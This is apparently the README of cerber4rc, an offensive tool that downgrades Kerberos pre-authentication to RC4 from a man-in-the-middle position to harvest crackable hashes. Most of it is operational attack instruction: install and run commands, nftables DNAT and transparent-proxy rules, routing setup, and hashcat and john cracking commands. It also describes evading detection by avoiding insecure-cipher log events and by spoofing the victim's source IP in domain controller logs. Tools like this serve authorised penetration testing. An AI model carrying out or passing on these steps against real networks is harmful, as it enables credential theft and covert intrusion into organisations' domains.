
A tool to harvest RC4 hashes via ASREQroasting in a stealthy way
cerber4rc downgrades Kerberos pre-authentication messages by forcing clients to encrypt their AS-REQ timestamps using
ARC4 (RC4), while still authenticating to the domain controller using secure ciphers — in other words, it performs
RC4-based AS-REQ roasting in a stealthy way. The captured hash ($krb5pa$23$) is much faster to crack than
AES-encrypted AS-REQ messages, and no security events related to insecure ciphers are logged on the domain controller.
The tool also supports transparent proxying so that the source IP address of the victim is preserved.
$ pipx install git+https://github.com/synacktiv/cerber4rc
$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc
To use the tool, you first need to have obtained a Man-in-the-Middle (MitM) position that allows you to intercept the Kerberos traffic of your victims. This can be achieved in several ways, for example:
[!IMPORTANT] The machine you target must be configured to support RC4, otherwise the downgrade will fail, which is auto-detected by the tool. This is not a prerequisite on the KDC side: if the workstation you're targeting advertises RC4 as an etype, but the domain controller does not support RC4 encryption for Kerberos pre-authentication, the attack will still work.
Once you're receiving Kerberos traffic, the idea is to DNAT port 88/TCP to a local TCP socket on which the tool is listening. This can be done with the following nft rules:
$ cat /etc/nftables.conf
[...]
table inet nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
[...]
ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
}
}
[...]
$ sudo nft -f /etc/nftables.conf
Your attack machine also needs to allow IP forwarding, which can be enabled this way:
$ sudo sysctl net.ipv4.ip_forward=1
[!NOTE] If you're using the tool in
--transparentmode, additional setup is required, which is described in the transparent proxy section.
cerber4rc allows for passive interception of Kerberos pre-authentication messages with the --relay flag. It will derive hashes based on whatever etype the victims are using to encrypt their pre-authentication timestamp (AES or RC4).
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay
cerber4rc supports two different modes for active interception: a regular TCP proxy (default mode) and a transparent proxy (--transparent flag).
This mode is the default behavior of the tool. It "splits" the connection in two distinct parts by terminating the TCP connection on the client's side, and creating a new TCP connection to the domain controller (DC). From a network perspective, the DC sees the IP of the machine running cerber4rc, which in hardened and mature environments can trigger detection rules.
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>
This mode can be enabled by using the --transparent flag. It creates a transparent proxy, which requires the CAP_NET_ADMIN capability, or for the tool to be run as the root user. This allows you to preserve the victim's IP address when downgrading Kerberos pre-authentication messages: the event logs generated on the KDC for TGT requests will hold the IP address of the victim, and not that of the attacker's machine running cerber4rc.
For this mode to work, a different network setup is required. First of all, the following nft rules need to be created:
table ip tproxy_kerberos {
chain divert {
type filter hook prerouting priority mangle; policy accept;
socket transparent 1 meta mark set 1 accept
meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
}
}
Then, the following policy routing rule and route need to be defined:
$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100
cerber4rc can then be run with the --transparent flag, as root or by granting the CAP_NET_ADMIN capability to your Python interpreter:
$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes
Captured hashes will be logged by default in the <current_timestamp>-hashes_hashcat and <current_timestamp>-hashes_john files in the current directory. This behavior can be
changed with the --hash-logfile (-o) flag. The tool will check first if you have the correct permissions to write to the selected location, and exit otherwise.
To crack the harvested hashes, you can use john or hashcat with the following options:
# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt
# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt # etype 18, AES-256